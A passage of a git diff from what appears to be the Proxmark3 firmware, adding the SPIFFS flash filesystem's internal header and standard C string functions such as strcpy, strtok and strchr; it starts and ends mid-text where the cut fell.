object id being 0x0000 represents a deleted page. + * + * ex: page 0 : lookup : 0008 0001 0aaa ffff ffff ffff ffff ffff .. + * page 1 : lookup : ffff ffff ffff ffff ffff ffff ffff ffff .. + * page 2 : data : data for object id 0008 + * page 3 : data : data for object id 0001 + * page 4 : data : data for object id 0aaa + * ... + * + * + * Object data pages can be either object index pages or object content. + * All object data pages contains a data page header, containing object id and span index. + * The span index denotes the object page ordering amongst data pages with same object id. + * This applies to both object index pages (when index spans more than one page of entries), + * and object data pages. + * An object index page contains page entries pointing to object content page. The entry index + * in a object index page correlates to the span index in the actual object data page. + * The first object index page (span index 0) is called object index header page, and also + * contains object flags (directory/file), size, object name etc. + * + * ex: + * BLOCK 1 + * PAGE 256: objectl lookup page 1 + * [*123] [ 123] [ 123] [ 123] + * [ 123] [*123] [ 123] [ 123] + * [free] [free] [free] [free] ... + * PAGE 257: objectl lookup page 2 + * [free] [free] [free] [free] ... + * PAGE 258: object index page (header) + * obj.id:0123 span.ix:0000 flags:INDEX + * size:1600 name:ex.txt type:file + * [259] [260] [261] [262] + * PAGE 259: object data page + * obj.id:0123 span.ix:0000 flags:DATA + * PAGE 260: object data page + * obj.id:0123 span.ix:0001 flags:DATA + * PAGE 261: object data page + * obj.id:0123 span.ix:0002 flags:DATA + * PAGE 262: object data page + * obj.id:0123 span.ix:0003 flags:DATA + * PAGE 263: object index page + * obj.id:0123 span.ix:0001 flags:INDEX + * [264] [265] [fre] [fre] + * [fre] [fre] [fre] [fre] + * PAGE 264: object data page + * obj.id:0123 span.ix:0004 flags:DATA + * PAGE 265: object data page + * obj.id:0123 span.ix:0005 flags:DATA + * + */ +#ifndef SPIFFS_NUCLEUS_H_ +#define SPIFFS_NUCLEUS_H_ + +#include "common.h" + +#include "string.h" +#include "spiffs.h" + +#define _SPIFFS_ERR_CHECK_FIRST (SPIFFS_ERR_INTERNAL - 1) +#define SPIFFS_ERR_CHECK_OBJ_ID_MISM (SPIFFS_ERR_INTERNAL - 1) +#define SPIFFS_ERR_CHECK_SPIX_MISM (SPIFFS_ERR_INTERNAL - 2) +#define SPIFFS_ERR_CHECK_FLAGS_BAD (SPIFFS_ERR_INTERNAL - 3) +#define _SPIFFS_ERR_CHECK_LAST (SPIFFS_ERR_INTERNAL - 4) + +// visitor result, continue searching +#define SPIFFS_VIS_COUNTINUE (SPIFFS_ERR_INTERNAL - 20) +// visitor result, continue searching after reloading lu buffer +#define SPIFFS_VIS_COUNTINUE_RELOAD (SPIFFS_ERR_INTERNAL - 21) +// visitor result, stop searching +#define SPIFFS_VIS_END (SPIFFS_ERR_INTERNAL - 22) + +// updating an object index contents +#define SPIFFS_EV_IX_UPD (0) +// creating a new object index +#define SPIFFS_EV_IX_NEW (1) +// deleting an object index +#define SPIFFS_EV_IX_DEL (2) +// moving an object index without updating contents +#define SPIFFS_EV_IX_MOV (3) +// updating an object index header data only, not the table itself +#define SPIFFS_EV_IX_UPD_HDR (4) + +#define SPIFFS_OBJ_ID_IX_FLAG ((spiffs_obj_id)(1<<(8*sizeof(spiffs_obj_id)-1))) + +#define SPIFFS_UNDEFINED_LEN (u32_t)(-1) + +#define SPIFFS_OBJ_ID_DELETED ((spiffs_obj_id)0) +#define SPIFFS_OBJ_ID_FREE ((spiffs_obj_id)-1) + + + +#if defined(__GNUC__) || defined(__clang__) || defined(__TI_COMPILER_VERSION__) +/* For GCC, clang and TI compilers */ +#define SPIFFS_PACKED __attribute__((packed)) +#elif defined(__ICCARM__) || defined(__CC_ARM) +/* For IAR ARM and Keil MDK-ARM compilers */ +#define SPIFFS_PACKED + +#else +/* Unknown compiler */ +#define SPIFFS_PACKED +#endif + + + +#if SPIFFS_USE_MAGIC +#if !SPIFFS_USE_MAGIC_LENGTH +#define SPIFFS_MAGIC(fs, bix) \ + ((spiffs_obj_id)(0x20140529 ^ SPIFFS_CFG_LOG_PAGE_SZ(fs))) +#else // SPIFFS_USE_MAGIC_LENGTH +#define SPIFFS_MAGIC(fs, bix) \ + ((spiffs_obj_id)(0x20140529 ^ SPIFFS_CFG_LOG_PAGE_SZ(fs) ^ ((fs)->block_count - (bix)))) +#endif // SPIFFS_USE_MAGIC_LENGTH +#endif // SPIFFS_USE_MAGIC + +#define SPIFFS_CONFIG_MAGIC (0x20090315) + +#if SPIFFS_SINGLETON == 0 +#define SPIFFS_CFG_LOG_PAGE_SZ(fs) \ + ((fs)->cfg.log_page_size) +#define SPIFFS_CFG_LOG_BLOCK_SZ(fs) \ + ((fs)->cfg.log_block_size) +#define SPIFFS_CFG_PHYS_SZ(fs) \ + ((fs)->cfg.phys_size) +#define SPIFFS_CFG_PHYS_ERASE_SZ(fs) \ + ((fs)->cfg.phys_erase_block) +#define SPIFFS_CFG_PHYS_ADDR(fs) \ + ((fs)->cfg.phys_addr) +#endif + +// total number of pages +#define SPIFFS_MAX_PAGES(fs) \ + ( SPIFFS_CFG_PHYS_SZ(fs)/SPIFFS_CFG_LOG_PAGE_SZ(fs) ) +// total number of pages per block, including object lookup pages +#define SPIFFS_PAGES_PER_BLOCK(fs) \ + ( SPIFFS_CFG_LOG_BLOCK_SZ(fs)/SPIFFS_CFG_LOG_PAGE_SZ(fs) ) +// number of object lookup pages per block +#define SPIFFS_OBJ_LOOKUP_PAGES(fs) \ + (MAX(1, (SPIFFS_PAGES_PER_BLOCK(fs) * sizeof(spiffs_obj_id)) / SPIFFS_CFG_LOG_PAGE_SZ(fs)) ) +// checks if page index belongs to object lookup +#define SPIFFS_IS_LOOKUP_PAGE(fs,pix) \ + (((pix) % SPIFFS_PAGES_PER_BLOCK(fs)) < SPIFFS_OBJ_LOOKUP_PAGES(fs)) +// number of object lookup entries in all object lookup pages +#define SPIFFS_OBJ_LOOKUP_MAX_ENTRIES(fs) \ + (SPIFFS_PAGES_PER_BLOCK(fs)-SPIFFS_OBJ_LOOKUP_PAGES(fs)) +// converts a block to physical address +#define SPIFFS_BLOCK_TO_PADDR(fs, block) \ + ( SPIFFS_CFG_PHYS_ADDR(fs) + (block)* SPIFFS_CFG_LOG_BLOCK_SZ(fs) ) +// converts a object lookup entry to page index +#define SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, block, entry) \ + ((block)*SPIFFS_PAGES_PER_BLOCK(fs) + (SPIFFS_OBJ_LOOKUP_PAGES(fs) + entry)) +// converts a object lookup entry to physical address of corresponding page +#define SPIFFS_OBJ_LOOKUP_ENTRY_TO_PADDR(fs, block, entry) \ + (SPIFFS_BLOCK_TO_PADDR(fs, block) + (SPIFFS_OBJ_LOOKUP_PAGES(fs) + entry) * SPIFFS_CFG_LOG_PAGE_SZ(fs) ) +// converts a page to physical address +#define SPIFFS_PAGE_TO_PADDR(fs, page) \ + ( SPIFFS_CFG_PHYS_ADDR(fs) + (page) * SPIFFS_CFG_LOG_PAGE_SZ(fs) ) +// converts a physical address to page +#define SPIFFS_PADDR_TO_PAGE(fs, addr) \ + ( ((addr) - SPIFFS_CFG_PHYS_ADDR(fs)) / SPIFFS_CFG_LOG_PAGE_SZ(fs) ) +// gives index in page for a physical address +#define SPIFFS_PADDR_TO_PAGE_OFFSET(fs, addr) \ + ( ((addr) - SPIFFS_CFG_PHYS_ADDR(fs)) % SPIFFS_CFG_LOG_PAGE_SZ(fs) ) +// returns containing block for given page +#define SPIFFS_BLOCK_FOR_PAGE(fs, page) \ + ( (page) / SPIFFS_PAGES_PER_BLOCK(fs) ) +// returns starting page for block +#define SPIFFS_PAGE_FOR_BLOCK(fs, block) \ + ( (block) * SPIFFS_PAGES_PER_BLOCK(fs) ) +// converts page to entry in object lookup page +#define SPIFFS_OBJ_LOOKUP_ENTRY_FOR_PAGE(fs, page) \ + ( (page) % SPIFFS_PAGES_PER_BLOCK(fs) - SPIFFS_OBJ_LOOKUP_PAGES(fs) ) +// returns data size in a data page +#define SPIFFS_DATA_PAGE_SIZE(fs) \ + ( SPIFFS_CFG_LOG_PAGE_SZ(fs) - sizeof(spiffs_page_header) ) +// returns physical address for block's erase count, +// always in the physical last entry of the last object lookup page +#define SPIFFS_ERASE_COUNT_PADDR(fs, bix) \ + ( SPIFFS_BLOCK_TO_PADDR(fs, bix) + SPIFFS_OBJ_LOOKUP_PAGES(fs) * SPIFFS_CFG_LOG_PAGE_SZ(fs) - sizeof(spiffs_obj_id) ) +// returns physical address for block's magic, +// always in the physical second last entry of the last object lookup page +#define SPIFFS_MAGIC_PADDR(fs, bix) \ + ( SPIFFS_BLOCK_TO_PADDR(fs, bix) + SPIFFS_OBJ_LOOKUP_PAGES(fs) * SPIFFS_CFG_LOG_PAGE_SZ(fs) - sizeof(spiffs_obj_id)*2 ) +// checks if there is any room for magic in the object luts +#define SPIFFS_CHECK_MAGIC_POSSIBLE(fs) \ + ( (SPIFFS_OBJ_LOOKUP_MAX_ENTRIES(fs) % (SPIFFS_CFG_LOG_PAGE_SZ(fs)/sizeof(spiffs_obj_id))) * sizeof(spiffs_obj_id) \ + <= (SPIFFS_CFG_LOG_PAGE_SZ(fs)-sizeof(spiffs_obj_id)*2) ) + +// define helpers object + +// entries in an object header page index +#define SPIFFS_OBJ_HDR_IX_LEN(fs) \ + ((SPIFFS_CFG_LOG_PAGE_SZ(fs) - sizeof(spiffs_page_object_ix_header))/sizeof(spiffs_page_ix)) +// entries in an object page index +#define SPIFFS_OBJ_IX_LEN(fs) \ + ((SPIFFS_CFG_LOG_PAGE_SZ(fs) - sizeof(spiffs_page_object_ix))/sizeof(spiffs_page_ix)) +// object index entry for given data span index +#define SPIFFS_OBJ_IX_ENTRY(fs, spix) \ + ((spix) < SPIFFS_OBJ_HDR_IX_LEN(fs) ? (spix) : (((spix)-SPIFFS_OBJ_HDR_IX_LEN(fs))%SPIFFS_OBJ_IX_LEN(fs))) +// object index span index number for given data span index or entry +#define SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, spix) \ + ((spix) < SPIFFS_OBJ_HDR_IX_LEN(fs) ? 0 : (1+((spix)-SPIFFS_OBJ_HDR_IX_LEN(fs))/SPIFFS_OBJ_IX_LEN(fs))) +// get data span index for object index span index +#define SPIFFS_DATA_SPAN_IX_FOR_OBJ_IX_SPAN_IX(fs, spix) \ + ( (spix) == 0 ? 0 : (SPIFFS_OBJ_HDR_IX_LEN(fs) + (((spix)-1) * SPIFFS_OBJ_IX_LEN(fs))) ) + +#if SPIFFS_FILEHDL_OFFSET +#define SPIFFS_FH_OFFS(fs, fh) ((fh) != 0 ? ((fh) + (fs)->cfg.fh_ix_offset) : 0) +#define SPIFFS_FH_UNOFFS(fs, fh) ((fh) != 0 ? ((fh) - (fs)->cfg.fh_ix_offset) : 0) +#else +#define SPIFFS_FH_OFFS(fs, fh) (fh) +#define SPIFFS_FH_UNOFFS(fs, fh) (fh) +#endif + + +#define SPIFFS_OP_T_OBJ_LU (0<<0) +#define SPIFFS_OP_T_OBJ_LU2 (1<<0) +#define SPIFFS_OP_T_OBJ_IX (2<<0) +#define SPIFFS_OP_T_OBJ_DA (3<<0) +#define SPIFFS_OP_C_DELE (0<<2) +#define SPIFFS_OP_C_UPDT (1<<2) +#define SPIFFS_OP_C_MOVS (2<<2) +#define SPIFFS_OP_C_MOVD (3<<2) +#define SPIFFS_OP_C_FLSH (4<<2) +#define SPIFFS_OP_C_READ (5<<2) +#define SPIFFS_OP_C_WRTHRU (6<<2) + +#define SPIFFS_OP_TYPE_MASK (3<<0) +#define SPIFFS_OP_COM_MASK (7<<2) + + +// if 0, this page is written to, else clean +#define SPIFFS_PH_FLAG_USED (1<<0) +// if 0, writing is finalized, else under modification +#define SPIFFS_PH_FLAG_FINAL (1<<1) +// if 0, this is an index page, else a data page +#define SPIFFS_PH_FLAG_INDEX (1<<2) +// if 0, page is deleted, else valid +#define SPIFFS_PH_FLAG_DELET (1<<7) +// if 0, this index header is being deleted +#define SPIFFS_PH_FLAG_IXDELE (1<<6) + + +#define SPIFFS_CHECK_MOUNT(fs) \ + ((fs)->mounted != 0) + +#define SPIFFS_CHECK_CFG(fs) \ + ((fs)->config_magic == SPIFFS_CONFIG_MAGIC) + +#define SPIFFS_CHECK_RES(res) \ + do { \ + if ((res) < SPIFFS_OK) return (res); \ + } while (0); + +#define SPIFFS_API_CHECK_MOUNT(fs) \ + if (!SPIFFS_CHECK_MOUNT((fs))) { \ + (fs)->err_code = SPIFFS_ERR_NOT_MOUNTED; \ + return SPIFFS_ERR_NOT_MOUNTED; \ + } + +#define SPIFFS_API_CHECK_CFG(fs) \ + if (!SPIFFS_CHECK_CFG((fs))) { \ + (fs)->err_code = SPIFFS_ERR_NOT_CONFIGURED; \ + return SPIFFS_ERR_NOT_CONFIGURED; \ + } + +#define SPIFFS_API_CHECK_RES(fs, res) \ + if ((res) < SPIFFS_OK) { \ + (fs)->err_code = (res); \ + return (res); \ + } + +#define SPIFFS_API_CHECK_RES_UNLOCK(fs, res) \ + if ((res) < SPIFFS_OK) { \ + (fs)->err_code = (res); \ + SPIFFS_UNLOCK(fs); \ + return (res); \ + } + +#define SPIFFS_VALIDATE_OBJIX(ph, objid, spix) \ + if (((ph).flags & SPIFFS_PH_FLAG_USED) != 0) return SPIFFS_ERR_IS_FREE; \ + if (((ph).flags & SPIFFS_PH_FLAG_DELET) == 0) return SPIFFS_ERR_DELETED; \ + if (((ph).flags & SPIFFS_PH_FLAG_FINAL) != 0) return SPIFFS_ERR_NOT_FINALIZED; \ + if (((ph).flags & SPIFFS_PH_FLAG_INDEX) != 0) return SPIFFS_ERR_NOT_INDEX; \ + if (((objid) & SPIFFS_OBJ_ID_IX_FLAG) == 0) return SPIFFS_ERR_NOT_INDEX; \ + if ((ph).span_ix != (spix)) return SPIFFS_ERR_INDEX_SPAN_MISMATCH; +//if ((spix) == 0 && ((ph).flags & SPIFFS_PH_FLAG_IXDELE) == 0) return SPIFFS_ERR_DELETED; + +#define SPIFFS_VALIDATE_DATA(ph, objid, spix) \ + if (((ph).flags & SPIFFS_PH_FLAG_USED) != 0) return SPIFFS_ERR_IS_FREE; \ + if (((ph).flags & SPIFFS_PH_FLAG_DELET) == 0) return SPIFFS_ERR_DELETED; \ + if (((ph).flags & SPIFFS_PH_FLAG_FINAL) != 0) return SPIFFS_ERR_NOT_FINALIZED; \ + if (((ph).flags & SPIFFS_PH_FLAG_INDEX) == 0) return SPIFFS_ERR_IS_INDEX; \ + if ((objid) & SPIFFS_OBJ_ID_IX_FLAG) return SPIFFS_ERR_IS_INDEX; \ + if ((ph).span_ix != (spix)) return SPIFFS_ERR_DATA_SPAN_MISMATCH; + + +// check id, only visit matching objec ids +#define SPIFFS_VIS_CHECK_ID (1<<0) +// report argument object id to visitor - else object lookup id is reported +#define SPIFFS_VIS_CHECK_PH (1<<1) +// stop searching at end of all look up pages +#define SPIFFS_VIS_NO_WRAP (1<<2) + +#if SPIFFS_HAL_CALLBACK_EXTRA + +#define SPIFFS_HAL_WRITE(_fs, _paddr, _len, _src) \ + (_fs)->cfg.hal_write_f((_fs), (_paddr), (_len), (_src)) +#define SPIFFS_HAL_READ(_fs, _paddr, _len, _dst) \ + (_fs)->cfg.hal_read_f((_fs), (_paddr), (_len), (_dst)) +#define SPIFFS_HAL_ERASE(_fs, _paddr, _len) \ + (_fs)->cfg.hal_erase_f((_fs), (_paddr), (_len)) + +#else // SPIFFS_HAL_CALLBACK_EXTRA + +#define SPIFFS_HAL_WRITE(_fs, _paddr, _len, _src) \ + (_fs)->cfg.hal_write_f((_paddr), (_len), (_src)) +#define SPIFFS_HAL_READ(_fs, _paddr, _len, _dst) \ + (_fs)->cfg.hal_read_f((_paddr), (_len), (_dst)) +#define SPIFFS_HAL_ERASE(_fs, _paddr, _len) \ + (_fs)->cfg.hal_erase_f((_paddr), (_len)) + +#endif // SPIFFS_HAL_CALLBACK_EXTRA + +#if SPIFFS_CACHE + +#define SPIFFS_CACHE_FLAG_DIRTY (1<<0) +#define SPIFFS_CACHE_FLAG_WRTHRU (1<<1) +#define SPIFFS_CACHE_FLAG_OBJLU (1<<2) +#define SPIFFS_CACHE_FLAG_OBJIX (1<<3) +#define SPIFFS_CACHE_FLAG_DATA (1<<4) +#define SPIFFS_CACHE_FLAG_TYPE_WR (1<<7) + +#define SPIFFS_CACHE_PAGE_SIZE(fs) \ + (sizeof(spiffs_cache_page) + SPIFFS_CFG_LOG_PAGE_SZ(fs)) + +#define spiffs_get_cache(fs) \ + ((spiffs_cache *)((fs)->cache)) + +#define spiffs_get_cache_page_hdr(fs, c, ix) \ + ((spiffs_cache_page *)(&((c)->cpages[(ix) * SPIFFS_CACHE_PAGE_SIZE(fs)]))) + +#define spiffs_get_cache_page(fs, c, ix) \ + ((u8_t *)(&((c)->cpages[(ix) * SPIFFS_CACHE_PAGE_SIZE(fs)])) + sizeof(spiffs_cache_page)) + +// cache page struct +typedef struct { + // cache flags + u8_t flags; + // cache page index + u8_t ix; + // last access of this cache page + u32_t last_access; + union { + // type read cache + struct spix { + // read cache page index + spiffs_page_ix pix; + } spix; +#if SPIFFS_CACHE_WR + // type write cache + struct swrc { + // write cache + spiffs_obj_id obj_id; + // offset in cache page + u32_t offset; + // size of cache page + u16_t size; + } swrc; +#endif + } ucache; +} spiffs_cache_page; + +// cache struct +typedef struct { + u8_t cpage_count; + u32_t last_access; + u32_t cpage_use_map; + u32_t cpage_use_mask; + u8_t *cpages; +} spiffs_cache; + +#endif + + +// spiffs nucleus file descriptor +typedef struct { + // the filesystem of this descriptor + spiffs *fs; + // number of file descriptor - if 0, the file descriptor is closed + spiffs_file file_nbr; + // object id - if SPIFFS_OBJ_ID_ERASED, the file was deleted + spiffs_obj_id obj_id; + // size of the file + u32_t size; + // cached object index header page index + spiffs_page_ix objix_hdr_pix; + // cached offset object index page index + spiffs_page_ix cursor_objix_pix; + // cached offset object index span index + spiffs_span_ix cursor_objix_spix; + // current absolute offset + u32_t offset; + // current file descriptor offset (cached) + u32_t fdoffset; + // fd flags + spiffs_flags flags; +#if SPIFFS_CACHE_WR + spiffs_cache_page *cache_page; +#endif +#if SPIFFS_TEMPORAL_FD_CACHE + // djb2 hash of filename + u32_t name_hash; + // hit score (score == 0 indicates never used fd) + u16_t score; +#endif +#if SPIFFS_IX_MAP + // spiffs index map, if 0 it means unmapped + spiffs_ix_map *ix_map; +#endif +} spiffs_fd; + + +// object structs + +// page header, part of each page except object lookup pages +// NB: this is always aligned when the data page is an object index, +// as in this case struct spiffs_page_object_ix is used +typedef struct SPIFFS_PACKED { + // object id + spiffs_obj_id obj_id; + // object span index + spiffs_span_ix span_ix; + // flags + u8_t flags; +} spiffs_page_header; + +// object index header page header +typedef struct SPIFFS_PACKED +#if SPIFFS_ALIGNED_OBJECT_INDEX_TABLES +__attribute((aligned(sizeof(spiffs_page_ix)))) +#endif +{ + // common page header + spiffs_page_header p_hdr; + // alignment + u8_t _align[4 - ((sizeof(spiffs_page_header) & 3) == 0 ? 4 : (sizeof(spiffs_page_header) & 3))]; + // size of object + u32_t size; + // type of object + spiffs_obj_type type; + // name of object + u8_t name[SPIFFS_OBJ_NAME_LEN]; +#if SPIFFS_OBJ_META_LEN + // metadata. not interpreted by SPIFFS in any way. + u8_t meta[SPIFFS_OBJ_META_LEN]; +#endif +} +spiffs_page_object_ix_header; + +// object index page header +typedef struct SPIFFS_PACKED { + spiffs_page_header p_hdr; + u8_t _align[4 - ((sizeof(spiffs_page_header) & 3) == 0 ? 4 : (sizeof(spiffs_page_header) & 3))]; +} spiffs_page_object_ix; + +// callback func for object lookup visitor +typedef s32_t (*spiffs_visitor_f)(spiffs *fs, spiffs_obj_id id, spiffs_block_ix bix, int ix_entry, + const void *user_const_p, void *user_var_p); + + +#if SPIFFS_CACHE +#define _spiffs_rd(fs, op, fh, addr, len, dst) \ + spiffs_phys_rd((fs), (op), (fh), (addr), (len), (dst)) +#define _spiffs_wr(fs, op, fh, addr, len, src) \ + spiffs_phys_wr((fs), (op), (fh), (addr), (len), (src)) +#else +#define _spiffs_rd(fs, op, fh, addr, len, dst) \ + spiffs_phys_rd((fs), (addr), (len), (dst)) +#define _spiffs_wr(fs, op, fh, addr, len, src) \ + spiffs_phys_wr((fs), (addr), (len), (src)) +#endif + +#ifndef MIN +#define MIN(a,b) ((a) < (b) ? (a) : (b)) +#endif +#ifndef MAX +#define MAX(a,b) ((a) > (b) ? (a) : (b)) +#endif + +// --------------- + +s32_t spiffs_phys_rd( + spiffs *fs, +#if SPIFFS_CACHE + u8_t op, + spiffs_file fh, +#endif + u32_t addr, + u32_t len, + u8_t *dst); + +s32_t spiffs_phys_wr( + spiffs *fs, +#if SPIFFS_CACHE + u8_t op, + spiffs_file fh, +#endif + u32_t addr, + u32_t len, + u8_t *src); + +s32_t spiffs_phys_cpy( + spiffs *fs, + spiffs_file fh, + u32_t dst, + u32_t src, + u32_t len); + +s32_t spiffs_phys_count_free_blocks( + spiffs *fs); + +s32_t spiffs_obj_lu_find_entry_visitor( + spiffs *fs, + spiffs_block_ix starting_block, + int starting_lu_entry, + u8_t flags, + spiffs_obj_id obj_id, + spiffs_visitor_f v, + const void *user_const_p, + void *user_var_p, + spiffs_block_ix *block_ix, + int *lu_entry); + +s32_t spiffs_erase_block( + spiffs *fs, + spiffs_block_ix bix); + +#if SPIFFS_USE_MAGIC && SPIFFS_USE_MAGIC_LENGTH +s32_t spiffs_probe( + spiffs_config *cfg); +#endif // SPIFFS_USE_MAGIC && SPIFFS_USE_MAGIC_LENGTH + +// --------------- + +s32_t spiffs_obj_lu_scan( + spiffs *fs); + +s32_t spiffs_obj_lu_find_free_obj_id( + spiffs *fs, + spiffs_obj_id *obj_id, + const u8_t *conflicting_name); + +s32_t spiffs_obj_lu_find_free( + spiffs *fs, + spiffs_block_ix starting_block, + int starting_lu_entry, + spiffs_block_ix *block_ix, + int *lu_entry); + +s32_t spiffs_obj_lu_find_id( + spiffs *fs, + spiffs_block_ix starting_block, + int starting_lu_entry, + spiffs_obj_id obj_id, + spiffs_block_ix *block_ix, + int *lu_entry); + +s32_t spiffs_obj_lu_find_id_and_span( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_span_ix spix, + spiffs_page_ix exclusion_pix, + spiffs_page_ix *pix); + +s32_t spiffs_obj_lu_find_id_and_span_by_phdr( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_span_ix spix, + spiffs_page_ix exclusion_pix, + spiffs_page_ix *pix); + +// --------------- + +s32_t spiffs_page_allocate_data( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_page_header *ph, + u8_t *data, + u32_t len, + u32_t page_offs, + u8_t finalize, + spiffs_page_ix *pix); + +s32_t spiffs_page_move( + spiffs *fs, + spiffs_file fh, + u8_t *page_data, + spiffs_obj_id obj_id, + spiffs_page_header *page_hdr, + spiffs_page_ix src_pix, + spiffs_page_ix *dst_pix); + +s32_t spiffs_page_delete( + spiffs *fs, + spiffs_page_ix pix); + +// --------------- + +s32_t spiffs_object_create( + spiffs *fs, + spiffs_obj_id obj_id, + const u8_t name[], + const u8_t meta[], + spiffs_obj_type type, + spiffs_page_ix *objix_hdr_pix); + +s32_t spiffs_object_update_index_hdr( + spiffs *fs, + spiffs_fd *fd, + spiffs_obj_id obj_id, + spiffs_page_ix objix_hdr_pix, + u8_t *new_objix_hdr_data, + const u8_t name[], + const u8_t meta[], + u32_t size, + spiffs_page_ix *new_pix); + +#if SPIFFS_IX_MAP + +s32_t spiffs_populate_ix_map( + spiffs *fs, + spiffs_fd *fd, + u32_t vec_entry_start, + u32_t vec_entry_end); + +#endif + +void spiffs_cb_object_event( + spiffs *fs, + spiffs_page_object_ix *objix, + int ev, + spiffs_obj_id obj_id_raw, + spiffs_span_ix spix, + spiffs_page_ix new_pix, + u32_t new_size); + +s32_t spiffs_object_open_by_id( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_fd *fd, + spiffs_flags flags, + spiffs_mode mode); + +s32_t spiffs_object_open_by_page( + spiffs *fs, + spiffs_page_ix pix, + spiffs_fd *fd, + spiffs_flags flags, + spiffs_mode mode); + +s32_t spiffs_object_append( + spiffs_fd *fd, + u32_t offset, + u8_t *data, + u32_t len); + +s32_t spiffs_object_modify( + spiffs_fd *fd, + u32_t offset, + u8_t *data, + u32_t len); + +s32_t spiffs_object_read( + spiffs_fd *fd, + u32_t offset, + u32_t len, + u8_t *dst); + +s32_t spiffs_object_truncate( + spiffs_fd *fd, + u32_t new_size, + u8_t remove_full); + +s32_t spiffs_object_find_object_index_header_by_name( + spiffs *fs, + const u8_t name[SPIFFS_OBJ_NAME_LEN], + spiffs_page_ix *pix); + +// --------------- + +s32_t spiffs_gc_check( + spiffs *fs, + u32_t len); + +s32_t spiffs_gc_erase_page_stats( + spiffs *fs, + spiffs_block_ix bix); + +s32_t spiffs_gc_find_candidate( + spiffs *fs, + spiffs_block_ix **block_candidates, + int *candidate_count, + char fs_crammed); + +s32_t spiffs_gc_clean( + spiffs *fs, + spiffs_block_ix bix); + +s32_t spiffs_gc_quick( + spiffs *fs, u16_t max_free_pages); + +// --------------- + +s32_t spiffs_fd_find_new( + spiffs *fs, + spiffs_fd **fd, + const char *name); + +s32_t spiffs_fd_return( + spiffs *fs, + spiffs_file f); + +s32_t spiffs_fd_get( + spiffs *fs, + spiffs_file f, + spiffs_fd **fd); + +#if SPIFFS_TEMPORAL_FD_CACHE +void spiffs_fd_temporal_cache_rehash( + spiffs *fs, + const char *old_path, + const char *new_path); +#endif + +#if SPIFFS_CACHE +void spiffs_cache_init( + spiffs *fs); + +void spiffs_cache_drop_page( + spiffs *fs, + spiffs_page_ix pix); + +#if SPIFFS_CACHE_WR +spiffs_cache_page *spiffs_cache_page_allocate_by_fd( + spiffs *fs, + spiffs_fd *fd); + +void spiffs_cache_fd_release( + spiffs *fs, + spiffs_cache_page *cp); + +spiffs_cache_page *spiffs_cache_page_get_by_fd( + spiffs *fs, + spiffs_fd *fd); +#endif +#endif + +s32_t spiffs_lookup_consistency_check( + spiffs *fs, + u8_t check_all_objects); + +s32_t spiffs_page_consistency_check( + spiffs *fs); + +s32_t spiffs_object_index_consistency_check( + spiffs *fs); + +// memcpy macro, +// checked in test builds, otherwise plain memcpy (unless already defined) +#ifdef _SPIFFS_TEST +#define _SPIFFS_MEMCPY(__d, __s, __l) do { \ + intptr_t __a1 = (intptr_t)((u8_t*)(__s)); \ + intptr_t __a2 = (intptr_t)((u8_t*)(__s)+(__l)); \ + intptr_t __b1 = (intptr_t)((u8_t*)(__d)); \ + intptr_t __b2 = (intptr_t)((u8_t*)(__d)+(__l)); \ + if (__a1 <= __b2 && __b1 <= __a2) { \ + printf("FATAL OVERLAP: memcpy from %lx..%lx to %lx..%lx\n", __a1, __a2, __b1, __b2); \ + ERREXIT(); \ + } \ + memcpy((__d),(__s),(__l)); \ +} while (0) +#else +#ifndef _SPIFFS_MEMCPY +#define _SPIFFS_MEMCPY(__d, __s, __l) do{memcpy((__d),(__s),(__l));}while(0) +#endif +#endif //_SPIFFS_TEST + +#endif /* SPIFFS_NUCLEUS_H_ */ diff --git a/armsrc/start.c b/armsrc/start.c index 94eb429ac..3e6f34702 100644 --- a/armsrc/start.c +++ b/armsrc/start.c @@ -12,8 +12,8 @@ #ifndef __START_H #define __START_H -#include "proxmark3.h" -#include "apps.h" +#include "proxmark3_arm.h" +#include "appmain.h" #include "zlib.h" #include "BigBuf.h" diff --git a/armsrc/string.c b/armsrc/string.c index 5c154643c..8dbe26808 100644 --- a/armsrc/string.c +++ b/armsrc/string.c @@ -50,8 +50,7 @@ void memxor(uint8_t *dest, uint8_t *src, size_t len) { int strlen(const char *str) { const char *p; - for (p = str; *p != '\0'; ++p) { - } + for (p = str; *p != '\0'; ++p) {}; return p - str; } @@ -106,3 +105,230 @@ void itoa(int n, char s[]) { } //////////////////////////////////////// END 'itoa' CODE + + + +char *strcpy(char *dst, const char *src) { + char *save = dst; + + for (; (*dst = *src) != '\0'; ++src, ++dst); + return save; +} + +char *strncpy(char *dst, const char *src, size_t n) { + if (n != 0) { + char *d = dst; + const char *s = src; + + do { + if ((*d++ = *s++) == 0) { + /* NUL pad the remaining n-1 bytes */ + while (--n) { + *d++ = 0; + } + break; + } + } while (--n); + } + return dst; +} + +int strcmp(const char *s1, const char *s2) { + while (*s1 == *s2++) { + if (*s1++ == 0) { + return (0); + } + } + return (*(unsigned char *) s1 - * (unsigned char *) --s2); +} + +char *__strtok_r(char *, const char *, char **); + +char *__strtok_r(char *s, const char *delim, char **last) { + char *spanp, *tok; + int c, sc; + + if (s == NULL && (s = *last) == NULL) + return (NULL); + + /* + * Skip (span) leading delimiters (s += strspn(s, delim), sort of). + */ +cont: + c = *s++; + for (spanp = (char *)delim; (sc = *spanp++) != 0;) { + if (c == sc) + goto cont; + } + + if (c == 0) { + /* no non-delimiter characters */ + *last = NULL; + return (NULL); + } + tok = s - 1; + + /* + * Scan token (scan for delimiters: s += strcspn(s, delim), sort of). + * Note that delim must have one NUL; we stop if we see that, too. + */ + for (;;) { + c = *s++; + spanp = (char *)delim; + do { + if ((sc = *spanp++) == c) { + if (c == 0) + s = NULL; + else + s[-1] = '\0'; + *last = s; + return (tok); + } + } while (sc != 0); + } + /* NOTREACHED */ +} + +char *strtok(char *s, const char *delim) { + static char *last; + + return (__strtok_r(s, delim, &last)); +} + + +char *strchr(const char *s, int c) { + while (*s != (char)c) + if (!*s++) + return 0; + return (char *)s; +} + +size_t strspn(const char *s1, const char *s2) { + size_t ret = 0; + while (*s1 && strchr(s2, *s1++)) + ret++; + return ret; +} + +char *strrchr(const char *s, int c) { + const char *ret = 0; + do { + if (*s == (char)c) + ret = s; + } while (*s++); + return (char *)ret; +} + +size_t strcspn(const char *s1, const char *s2) { + size_t ret = 0; + while (*s1) + if (strchr(s2, *s1)) + return 